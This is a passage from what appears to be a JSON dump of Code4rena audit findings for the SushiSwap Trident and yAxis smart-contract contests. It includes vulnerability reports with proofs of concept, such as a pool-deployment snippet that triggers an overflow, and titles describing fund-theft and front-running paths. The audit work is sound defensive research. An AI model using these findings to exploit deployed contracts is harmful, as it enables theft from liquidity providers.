excess token amount for the other token. However, the current implementation distributes the minted fee to the minter as well (when he should be excluded). It therefore acts as a rebate of sorts. As a result, it makes adding and removing liquidity as opposed to swapping directly (negligibly) more desirable. An example is given below using the Constant Product Pool to illustrate this point. The Hybrid pool exhibits similar behaviour. ### Proof of Concept 1. Initialize the pool with ETH-USDC sushi pool amounts. As of the time of writing, there is roughly 53586.556 ETH and 165143020.5295 USDC. 2. Mint unbalanced LP with 5 ETH (& 0 USDC). This gives the user `138573488720892 / 1e18` LP tokens. 3. Burn the minted LP tokens, giving the user 2.4963 ETH and 7692.40 USDC. This is therefore equivalent to swapping 5 - 2.4963 = 2.5037 ETH for 7692.4044 USDC. 4. If the user were to swap the 2.5037 ETH directly, he would receive 7692.369221 (0.03 USDC lesser). ### Recommended Mitigation Steps The mint fee should be distributed to existing LPs first, by incrementing `_reserve0` and `_reserve1` with the fee amounts. The rest of the calculations follow after. ConstantProductPool ```jsx (uint256 fee0, uint256 fee1) = _nonOptimalMintFee(amount0, amount1, _reserve0, _reserve1); // increment reserve amounts with fees _reserve0 += uint112(fee0); _reserve1 += uint112(fee1); unchecked { _totalSupply += _mintFee(_reserve0, _reserve1, _totalSupply); } uint256 computed = TridentMath.sqrt(balance0 * balance1); ... kLast = computed; ``` HybridPool ```jsx (uint256 fee0, uint256 fee1) = _nonOptimalMintFee(amount0, amount1, _reserve0, _reserve1); // increment reserve amounts with fees _reserve0 += uint112(fee0); _reserve1 += uint112(fee1); uint256 newLiq = _computeLiquidity(balance0, balance1); ... ``` "}, {"title": "Consider unlocking pool only upon initial mint", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/33", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-sushitrident-findings", "body": "Consider unlocking pool only upon initial mint"}, {"title": "# Hybrid Pool underflow when a < 100", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/32", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged", "disagree with severity"], "target": "2021-09-sushitrident-findings", "body": "# Hybrid Pool underflow when a < 100"}, {"title": "hybrid pool uses wrong `non_optimal_mint_fee`", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/31", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-09-sushitrident-findings", "body": "# Handle broccoli # Vulnerability details ## Impact When an lp provider deposits an imbalance amount of token, a swap fee is applied. HybridPool uses the same `_nonOptimalMintFee` as `constantProductPool`; however, since two pools use different AMM curve, the ideal balance is not the same. ref: [StableSwap3Pool.vy#L322-L337](https://github.com/curvefi/curve-contract/blob/master/contracts/pools/3pool/StableSwap3Pool.vy#L322-L337) Stable swap Pools are designed for 1B+ TVL. Any issue related to pricing/fee is serious. I consider this is a high-risk issue ## Proof of Concept [StableSwap3Pool.vy#L322-L337](https://github.com/curvefi/curve-contract/blob/master/contracts/pools/3pool/StableSwap3Pool.vy#L322-L337) [HybridPool.sol#L425-L441](https://github.com/sushiswap/trident/blob/9130b10efaf9c653d74dc7a65bde788ec4b354b5/contracts/pool/HybridPool.sol#L425-L441) ## Tools Used None ## Recommended Mitigation Steps Calculate the swapping fee based on the stable swap curve. Please refer to [StableSwap3Pool.vy#L322-L337](https://github.com/curvefi/curve-contract/blob/master/contracts/pools/3pool/StableSwap3Pool.vy#L322-L337). "}, {"title": "IndexPool's INIT_POOL_SUPPLY is not fair.", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/29", "labels": ["bug", "duplicate", "3 (High Risk)"], "target": "2021-09-sushitrident-findings", "body": "IndexPool's INIT_POOL_SUPPLY is not fair."}, {"title": "IndexPool pow overflows when `weightRatio` > 10.", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/28", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-09-sushitrident-findings", "body": "# Handle broccoli # Vulnerability details ## Impact In the IndexPool contract, pow is used in calculating price. [IndexPool.sol#L255-L266](https://github.com/sushiswap/trident/blob/9130b10efaf9c653d74dc7a65bde788ec4b354b5/contracts/pool/IndexPool.sol#L255-L266) However, Pow is easy to cause overflow. If the `weightRatio` is large (e.g. 10), there's always overflow. Lp providers can still provide liquidity to the pool where no one can swap. All pools need to redeploy. I consider this a high-risk issue. ## Proof of concept It's easy to trigger this bug by deploying a 1:10 IndexPool. ```python deployed_code = encode_abi([\"address[]\",\"uint136[]\",\"uint256\"], [ (link.address, dai.address), (10**18, 10 * 10**18), 10**13 ]) tx_hash = master_deployer.functions.deployPool(index_pool_factory.address, deployed_code).transact() ``` Transactions would be reverted when buying `link` with `dai`. ## Tools Used None ## Recommended Mitigation Steps The `weightRatio` is an 18 decimals number. It should be divided by `(BASE)^exp`. The scale in the contract is not consistent. Recommend the dev to check all the scales/ decimals. "}, {"title": "Index Pool always swap to Zero", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/27", "labels": ["bug", "duplicate", "3 (High Risk)"], "target": "2021-09-sushitrident-findings", "body": "Index Pool always swap to Zero"}, {"title": "Flash swap call back prior to transferring tokens in indexPool", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/26", "labels": ["bug", "duplicate", "3 (High Risk)"], "target": "2021-09-sushitrident-findings", "body": "Flash swap call back prior to transferring tokens in indexPool"}, {"title": "Missing validation of recipient argument could indefinitely lock owner role", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/23", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-09-sushitrident-findings", "body": "Missing validation of recipient argument could indefinitely lock owner role"}, {"title": "[TridentERC20.sol] Possible replay attacks on `permit` function in case of a future chain split", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/18", "labels": ["bug", "duplicate", "1 (Low Risk)", "disagree with severity"], "target": "2021-09-sushitrident-findings", "body": "[TridentERC20.sol] Possible replay attacks on `permit` function in case of a future chain split"}, {"title": "Use parameter _blockTimestampLast in _update() ", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/16", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-sushitrident-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function _update() of ConstantProductPool.sol verifies if blockTimestampLast == 0. The value of blockTimestampLast is also passed in the parameter _blockTimestampLast (note: with extra _ ) So _blockTimestampLast could also be used, which saves a bit of gas. ## Proof of Concept https://github.com/sushiswap/trident/blob/master/contracts/pool/ConstantProductPool.sol#L264 function _update(... uint32 _blockTimestampLast) internal { ... if (blockTimestampLast == 0) { // could also use _blockTimestampLast ## Tools Used ## Recommended Mitigation Steps replace if (blockTimestampLast == 0) { with if (_blockTimestampLast == 0) { "}, {"title": "Reset cachedPool ?", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/15", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-09-sushitrident-findings", "body": "Reset cachedPool ?"}, {"title": "Safe gas on _powApprox", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/12", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-sushitrident-findings", "body": "Safe gas on _powApprox"}, {"title": "HybridPool.sol lacks zero check for maserDeployer", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/10", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-09-sushitrident-findings", "body": "HybridPool.sol lacks zero check for maserDeployer"}, {"title": "ConstantProductPool lacks zero check for maserDeployer", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/9", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-09-sushitrident-findings", "body": "ConstantProductPool lacks zero check for maserDeployer"}, {"title": "unchecked use of optional function \"decimals\" of erc20 standards", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/4", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-09-sushitrident-findings", "body": "unchecked use of optional function \"decimals\" of erc20 standards"}, {"title": "Events not emitted while changing state variables in constructor", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/2", "labels": ["bug", "sponsor acknowledged", "0 (Non-critical)"], "target": "2021-09-sushitrident-findings", "body": "Events not emitted while changing state variables in constructor"}, {"title": "Adding assymetric liquidity in _addLiquidity results in fewer LP tokens minted than what should be wanted", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/158", "labels": ["bug", "2 (Med Risk)"], "target": "2021-09-yaxis-findings", "body": "Adding assymetric liquidity in _addLiquidity results in fewer LP tokens minted than what should be wanted"}, {"title": "getMostPremium() does not necessarily return the best asset to trade for.", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/156", "labels": ["bug", "duplicate", "1 (Low Risk)"], "target": "2021-09-yaxis-findings", "body": "getMostPremium() does not necessarily return the best asset to trade for."}, {"title": "Be aware that transactions can be frontrun to exactly the estimated amount.", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/153", "labels": ["bug", "duplicate", "1 (Low Risk)"], "target": "2021-09-yaxis-findings", "body": "Be aware that transactions can be frontrun to exactly the estimated amount."}, {"title": "`harvestNextStrategy` can be optimized", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/146", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-yaxis-findings", "body": "`harvestNextStrategy` can be optimized"}, {"title": "`maxStrategies` can be lower than existing strategies", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/145", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-09-yaxis-findings", "body": "`maxStrategies` can be lower than existing strategies"}, {"title": "Missing check in `reorderStrategies`", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/144", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-yaxis-findings", "body": "Missing check in `reorderStrategies`"}, {"title": "`tokens[i]` can be memorized", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/143", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "sponsor confirmed"], "target": "2021-09-yaxis-findings", "body": "# Handle 0xsanson # Vulnerability details ## Impact In `StablesConverter.convert` there are multiple storage reads of `tokens[i]` that add up gas. Consider saving the variable in memory. ## Tools Used editor ## Recommended Mitigation Steps Rewrite ```js IERC20 _token; // add this for (uint8 i = 0; i < 3; i++) { _token = tokens[i]; // add this //if (_output == address(tokens[i])) { if (_output == address(_token)) { //uint256 _before = tokens[i].balanceOf(address(this)); uint256 _before = _token.balanceOf(address(this)); stableSwap3Pool.remove_liquidity_one_coin( _inputAmount, i, _estimatedOutput ); //uint256 _after = tokens[i].balanceOf(address(this)); uint256 _after = _token.balanceOf(address(this)); _outputAmount = _after.sub(_before); //tokens[i].safeTransfer(msg.sender, _outputAmount); _token.safeTransfer(msg.sender, _outputAmount); return _outputAmount; } } ``` "}, {"title": "Unnecessary `balanceOfWant() > 0`", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/141", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "sponsor confirmed"], "target": "2021-09-yaxis-findings", "body": "# Handle 0xsanson # Vulnerability details ## Impact During the `_harvest` function in NativeStrategyCurve3Crv.sol, there's a call to `_deposit()` only `if (balanceOfWant() > 0)`. This if-statement can be removed since `_deposit` calculates again `balanceOfWant()` and makes the same check. This way the function saves a `.balanceOf` call. ## Proof of Concept https://github.com/code-423n4/2021-09-yaxis/blob/main/contracts/v3/strategies/NativeStrategyCurve3Crv.sol#L123 ## Tools Used editor "}, {"title": "Harvest can be frontrun", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/140", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-09-yaxis-findings", "body": "Harvest can be frontrun"}, {"title": "`getMostPremium()` can be wrong", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/139", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged", "sponsor confirmed", "disagree with severity"], "target": "2021-09-yaxis-findings", "body": "# Handle 0xsanson # Vulnerability details ## Impact `NativeStrategyCurve3Crv._harvest` calls `getMostPremium` to get the best stablecoin to convert to. This function however is wrong in the case of `balancesUSDC = balancesUSDT < balancesDAI`, because it returns DAI, when it should be USDC or USDT. This is naturally a rare occasion, but a bad actor can set the balances (by depositing/withdrawing the Curve pool) like this just before the harvest function is called. Since this would imbalance even more the pool, the bad actor could also gain a profit by making the right swaps after the harvest. ## Proof of Concept https://github.com/code-423n4/2021-09-yaxis/blob/main/contracts/v3/strategies/NativeStrategyCurve3Crv.sol#L83 ## Tools Used editor ## Recommended Mitigation Steps Convert all `<` into `<=` inside `getMostPremium()`. "}, {"title": "Earn process emits two events that can be arranged into one", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/138", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "sponsor confirmed"], "target": "2021-09-yaxis-findings", "body": "# Handle 0xsanson # Vulnerability details ## Impact The harvester can initiate the earn process by calling the `Vault.earn`. At the end of this function an `Earn(_token, _balance)` event is emitted. Before this, the execution is passed to the `Controller.earn` function, which emits another event `Earn(_token, _strategy)`. Since these two events are emitted _always_ together (`Controller.earn` can be called only inside `Vault.earn`), it's more efficient to emit a single event `Earn(_token, _strategy, _amount)` at the end of `Controller.earn`. This should gain a little gas (one less indexed data) and it's less confusing. ## Proof of Concept https://github.com/code-423n4/2021-09-yaxis/blob/main/contracts/v3/controllers/Controller.sol#L437 https://github.com/code-423n4/2021-09-yaxis/blob/main/contracts/v3/Vault.sol#L157 ## Tools Used editor "}, {"title": "Unclear `totalDepositCap`", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/135", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-yaxis-findings", "body": "Unclear `totalDepositCap`"}, {"title": "`cap` isn't enforced", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/134", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-yaxis-findings", "body": "`cap` isn't enforced"}, {"title": "No slippage checks can lead to sandwich attacks", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/133", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-09-yaxis-findings", "body": "No slippage checks can lead to sandwich attacks"}, {"title": "`Vault.balance()` mixes normalized and standard amounts", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/132", "labels": ["bug", "3 (High Risk)", "sponsor acknowledged"], "target": "2021-09-yaxis-findings", "body": "`Vault.balance()` mixes normalized and standard amounts"}, {"title": "`Vault.withdraw` mixes normalized and standard amounts", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/131", "labels": ["bug", "duplicate", "3 (High Risk)"], "target": "2021-09-yaxis-findings", "body": "`Vault.withdraw` mixes normalized and standard amounts"}, {"title": "`Controller.inCaseStrategyGetStuck` does not update balance", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/130", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-09-yaxis-findings", "body": "`Controller.inCaseStrategyGetStuck` does not update balance"}, {"title": "`Controller.setCap` sets wrong vault balance", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/128", "labels": ["bug", "duplicate", "3 (High Risk)"], "target": "2021-09-yaxis-findings", "body": "`Controller.setCap` sets wrong vault balance"}, {"title": "VaultHelper deposits don't work with fee-on transfer tokens", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/127", "labels": ["bug", "2 (Med Risk)"], "target": "2021-09-yaxis-findings", "body": "VaultHelper deposits don't work with fee-on transfer tokens"}, {"title": "token -> vault mapping can be overwritten", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/126", "labels": ["bug", "duplicate", "2 (Med Risk)"], "target": "2021-09-yaxis-findings", "body": "token -> vault mapping can be overwritten"}, {"title": "Gas: Timestamp in router swap can be hardcoded", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/125", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "sponsor confirmed"], "target": "2021-09-yaxis-findings", "body": "# Handle cmichel # Vulnerability details When doing swaps with a Uniswap router from within a contract, there's no need to compute any offset from the current block for the `deadline` parameter. The router just checks if `deadline >= block.timestamp`. See `BaseStrategy._swapTokens` which does an unnecessary `block.timestamp` read and another unnecessary addition of `1800`. ## Recommended Mitigation Steps The most efficient way to provide deadlines for a router swap is to use a hardcoded value that is far in the future, for example, `1e10`. "}, {"title": "Gas: Loop in `StablesConverter.expected` can be avoided", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/124", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-yaxis-findings", "body": "Gas: Loop in `StablesConverter.expected` can be avoided"}, {"title": "Gas: Loop in `StablesConverter.convert` can be avoided", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/123", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-yaxis-findings", "body": "Gas: Loop in `StablesConverter.convert` can be avoided"}, {"title": "Withdraw event uses wrong parameter", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/122", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged", "sponsor confirmed"], "target": "2021-09-yaxis-findings", "body": "# Handle cmichel # Vulnerability details The `Withdraw` event in `LegacyController.withdraw` emits the `_amount` variable which is the _initial, desired_ amount to withdraw. It should emit the actual withdrawn amount instead, which is transferred in the last `token.balanceOf(address(this))` call. ## Impact The actual withdrawn amount, which can be lower than `_amount`, is part of the event. This is usually not what you want (and it can already be decoded from the function argument). ## Recommended Mitigation Steps Use it or remove it. "}, {"title": "`Vault.withdraw` sometimes burns too many shares", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/121", "labels": ["bug", "duplicate", "2 (Med Risk)"], "target": "2021-09-yaxis-findings", "body": "`Vault.withdraw` sometimes burns too many shares"}, {"title": "Gas: Unnecessary addition in `Vault.deposit`", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/118", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-09-yaxis-findings", "body": "Gas: Unnecessary addition in `Vault.deposit`"}, {"title": "Gas: `removeStrategy` iteration over all strategies can be avoided", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/117", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-09-yaxis-findings", "body": "Gas: `removeStrategy` iteration over all strategies can be avoided"}, {"title": "Gas: `removeToken` iteration over all tokens can be avoided", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/116", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-09-yaxis-findings", "body": "Gas: `removeToken` iteration over all tokens can be avoided"}, {"title": "ERC20 return values not checked", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/114", "labels": ["bug", "duplicate", "2 (Med Risk)"], "target": "2021-09-yaxis-findings", "body": "ERC20 return values not checked"}, {"title": "`YAxisVotePower.balanceOf` can be manipulated", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/113", "labels": ["bug", "documentation", "2 (Med Risk)"], "target": "2021-09-yaxis-findings", "body": "`YAxisVotePower.balanceOf` can be manipulated"}, {"title": "wrong YAXIS estimates", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/112", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-09-yaxis-findings", "body": "wrong YAXIS estimates"}, {"title": "Unbounded iterations over strategies or tokens", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/111", "labels": ["bug", "duplicate", "1 (Low Risk)"], "target": "2021-09-yaxis-findings", "body": "Unbounded iterations over strategies or tokens"}, {"title": "Missing parameter validation", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/107", "labels": ["bug", "sponsor disputed", "0 (Non-critical)"], "target": "2021-09-yaxis-findings", "body": "Missing parameter validation"}, {"title": "The `sqrt` function can overflow execute invalid operation", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/104", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-yaxis-findings", "body": "The `sqrt` function can overflow execute invalid operation"}, {"title": "The function `removeToken` can get prohibitively expensive", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/101", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2021-09-yaxis-findings", "body": "The function `removeToken` can get prohibitively expensive"}, {"title": "VaultHelper contract should never have tokens at the end of a transaction", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/100", "labels": ["bug", "documentation", "sponsor acknowledged", "0 (Non-critical)"], "target": "2021-09-yaxis-findings", "body": "VaultHelper contract should never have tokens at the end of a transaction"}, {"title": "Safety of the Vyper compiler", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/99", "labels": ["bug", "sponsor acknowledged", "disagree with severity", "0 (Non-critical)"], "target": "2021-09-yaxis-findings", "body": "Safety of the Vyper compiler"}, {"title": "Upgrade to at least 0.8.4", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/98", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2021-09-yaxis-findings", "body": "Upgrade to at least 0.8.4"}, {"title": "Caching the length in for loops", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/95", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-yaxis-findings", "body": "Caching the length in for loops"}, {"title": "Consider making some constants as non-public to save gas", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/94", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-yaxis-findings", "body": "# Handle Jujic # Vulnerability details ## Impact Each function part of contract's external interface is part of the function dispatch, i.e., every time a contract is called, it goes through a switch statement (a set of eq ... JUMPI blocks in EVM) matching the selector of each externally available functions with the chosen function selector (the first 4 bytes of calldata). This means that any unnecessary function that is part of contract's external interface will lead to more gas for (almost) every single function calls to the contract. There are several cases where constants were made public. This is unnecessary; the constants can simply be readfrom the verified contract, i.e., it is unnecessary to expose it with a public function. ## Proof of Concept https://github.com/code-423n4/2021-12-yetifinance/blob/5f5bf61209b722ba568623d8446111b1ea5cb61c/packages/contracts/contracts/TroveManagerRedemptions.sol#L53-L55 https://github.com/code-423n4/2021-12-yetifinance/blob/5f5bf61209b722ba568623d8446111b1ea5cb61c/packages/contracts/contracts/TroveManager.sol#L35-L39 Example: ``` uint256 public constant BOOTSTRAP_PERIOD = 14 days; ``` ## Tools Used Remix ## Recommended Mitigation Steps "}, {"title": "Style issues", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/93", "labels": ["bug", "sponsor disputed", "0 (Non-critical)"], "target": "2021-09-yaxis-findings", "body": "Style issues"}, {"title": "Join _checkToken function and modifier together", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/91", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-yaxis-findings", "body": "# Handle pauliax # Vulnerability details ## Impact function _checkToken can be moved to modifier checkToken as it is a private function that is only used by this modifier. This will reduce the number of extra calls and thus reduce the gas. ## Recommended Mitigation Steps Consider moving this function inside the modifier to reduce gas usage. "}, {"title": "Unused imports", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/89", "labels": ["bug", "sponsor acknowledged", "0 (Non-critical)"], "target": "2021-09-yaxis-findings", "body": "Unused imports"}, {"title": "Dead code", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/87", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2021-09-yaxis-findings", "body": "Dead code"}, {"title": "uint8 is less efficient than uint256 in loop iterations", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/86", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-yaxis-findings", "body": "uint8 is less efficient than uint256 in loop iterations"}, {"title": "VaultHelper could validate that amount is greater than 0", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/85", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "sponsor confirmed"], "target": "2021-09-yaxis-findings", "body": "# Handle pauliax # Vulnerability details ## Impact functions depositVault, depositMultipleVault and withdrawVault in VaultHelper could require _amount > 0 to prevent useless transfers. ## Recommended Mitigation Steps Add require _amount > 0 statements to mentioned functions. "}, {"title": "Decimals of upgradeable tokens may change", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/82", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged", "sponsor confirmed"], "target": "2021-09-yaxis-findings", "body": "# Handle pauliax # Vulnerability details ## Impact A theoretical issue is that the decimals of USDC may change as they use an upgradeable contract so you cannot assume that it stays 6 decimals forever: balances[1] = stableSwap3Pool.balances(1).mul(10**12); // USDC ## Recommended Mitigation Steps A simple solution would be to call .decimals() on token contract to query it on the go. Then you will not need to hardcode it but gas usage will increase. "}, {"title": "setMinter should check that _minter is not empty", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/81", "labels": ["bug", "sponsor acknowledged", "sponsor confirmed", "0 (Non-critical)"], "target": "2021-09-yaxis-findings", "body": "# Handle pauliax # Vulnerability details ## Impact function setMinter should validate that _minter is not an empty (0x0) address. ## Recommended Mitigation Steps require(_minter != address(0), \"!_minter\"); "}, {"title": "Inclusive check in setSlippage", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/78", "labels": ["bug", "invalid"], "target": "2021-09-yaxis-findings", "body": "Inclusive check in setSlippage"}, {"title": "An attacker can steal funds from multi-token vaults", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/77", "labels": ["bug", "3 (High Risk)", "sponsor acknowledged"], "target": "2021-09-yaxis-findings", "body": "An attacker can steal funds from multi-token vaults"}, {"title": "Vault: Zero Withdrawal Fee If Protocol Halts", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/75", "labels": ["bug", "1 (Low Risk)"], "target": "2021-09-yaxis-findings", "body": "Vault: Zero Withdrawal Fee If Protocol Halts"}, {"title": "Vault: Withdrawals can be frontrun to cause users to burn tokens without receiving funds in return", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/74", "labels": ["bug", "duplicate", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-09-yaxis-findings", "body": "Vault: Withdrawals can be frontrun to cause users to burn tokens without receiving funds in return"}, {"title": "Vault: Swaps at parity with swap fee = withdrawal fee", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/71", "labels": ["bug", "2 (Med Risk)"], "target": "2021-09-yaxis-findings", "body": "Vault: Swaps at parity with swap fee = withdrawal fee"}, {"title": "Vault: Redundant notHalted modifier in depositMultiple()", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/70", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "sponsor confirmed"], "target": "2021-09-yaxis-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact The `notHalted` modifier in `depositMultiple()` is redundant because it is checked (multiple times) by the underlying function call to `deposit()`. Further optimizations may be done to implement an internal `_deposit()` function that will be called by both `deposit()` and `depositMultiple()` so that `notHalted` is only checked once. ### Recommended Mitigation Steps Remove the `notHalted` modifier in `depositMultiple()`. "}, {"title": "Removed tokens can't be withdrawn from vault", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/69", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-yaxis-findings", "body": "Removed tokens can't be withdrawn from vault"}, {"title": "Harvester: Simpler implementation for canHarvest()", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/66", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "sponsor confirmed"], "target": "2021-09-yaxis-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Recommended Mitigation Steps The negation of the disjunction form of the `canHarvest()` function will help save gas. In other words, instead of `!(A || B)`, return `(!A && !B)`. ```jsx function canHarvest( address _vault ) public view returns (bool) { Strategy storage strategy = strategies[_vault]; // only can harvest if there are strategies, and when sufficient time has elapsed // solhint-disable-next-line not-rely-on-time return (strategy.addresses.length > 0 && strategy.lastCalled <= block.timestamp.sub(strategy.timeout)); } ``` "}, {"title": "Controller: Extra sload of _vaultDetails[_vault].balance", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/65", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "sponsor confirmed"], "target": "2021-09-yaxis-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact `_vaultDetails[_vault].balance` in L367 can be changed to the already fetched value `_balance`. ### Recommended Mitigation Steps `_vaultDetails[_vault].balance = _vaultDetails[_vault].balance.sub(_amount);` "}, {"title": "Max approvals are risky if contract is malicious/compromised", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/64", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-yaxis-findings", "body": "Max approvals are risky if contract is malicious/compromised"}, {"title": "safeApprove may revert for non-zero to non-zero approvals", "html_url": "https://github.com/code-423n4/2021-09-yaxis-findings/issues/63", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged", "sponsor confirmed"], "target": "2021-09-yaxis-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact\u2028 OpenZeppelin\u2019s safeApprove reverts for non-0 to non-0 approvals. This is considered in a few places where safeApprove is performed twice with the first one for 0 and then for the desired allowance. However, there are uses of safeApprove where it is called only once for the desired allowance but it is not clear that the current allowance is 